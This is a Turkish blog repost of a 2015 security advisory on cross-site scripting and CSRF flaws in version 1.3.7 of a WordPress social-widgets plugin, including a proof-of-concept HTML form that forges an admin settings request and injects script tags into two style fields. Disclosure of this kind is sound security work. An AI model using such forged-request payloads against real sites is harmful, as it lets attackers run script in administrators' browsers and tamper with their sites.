-
4 Ağustos 2015 Salı


Full BaslikWordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting Vulnerability
Eklenme Tarihi04-08-2015
Kategoriweb applications
Platformphp
Risk
Security Risk Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Title: WordPress 'Facebook, Twitter & Google+ Social Widgets' Plugin
Version: 1.3.7
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-15
Download:
Notified WordPress: 2015-06-23
==========================================================
 
## Plugin description
==========================================================
Simple plug-in that displays the most important social widgets from Facebook, Twitter and Google+ below your posts. Very easy to setup: just activate
 
## Vulnerabilities
==========================================================
 
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url). This happens on line 134 in the file SWAdmin.php
 
Some of the plugin settings in the admin menu are vulnerable to stored XSS. Furthermore, all settings can be set through CSRF.
 
PoC:
Log in as admin and submit the following request:
 
<form method="POST" action="[URL]/wp-admin/options-general.php?page=social-widgets-options">
<input type="text" name="sw_hidden" value="Y" required><br />
<input type="text" name="sw_facebook" value="1" required><br />
<input type="text" name="sw_twitter" value="2" required><br />
<input type="text" name="sw_google" value="3" required><br />
<input type="text" name="sw_displayonposts" value="1" required><br />
<input type="text" name="sw_displayonpages" value="1" required><br />
<input type="text" name="sw_displaybelowpost" value="1" required><br />
<input type="text" name="sw_contentfilterpriority" value="10" required><br />
<input type="text" name="sw_supportplugin" value="1" required><br />
<input type="text" name="sw_cssstyleall" value=""><script>alert(1)</script>"><br />
<input type="text" name="sw_cssstylewidget" value=""><script>alert(2)</script>"><br />
<input type="submit">
</form>
 
 
## Solution
==========================================================
No fix available
 
==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
 
# 0day.today [2015-08-04]
# fb.com/inj3ct0rs and twitter.com/inj3ct0r
# fb.com/inj3ct0rs and twitter.com/inj3ct0r
Different Themes
REKLAM ALANI !
SİTEMİZE REKLAM VERMEK İSTİYORSANIZ YÖNETİCİ İLETİŞİM FORUMUNU KULLANABİLİRSİNİZ

0 yorum

Yorum Kuralları:
1) Küfür Yasaktır
2) Teklif Hakları Kullanıcıya Aittir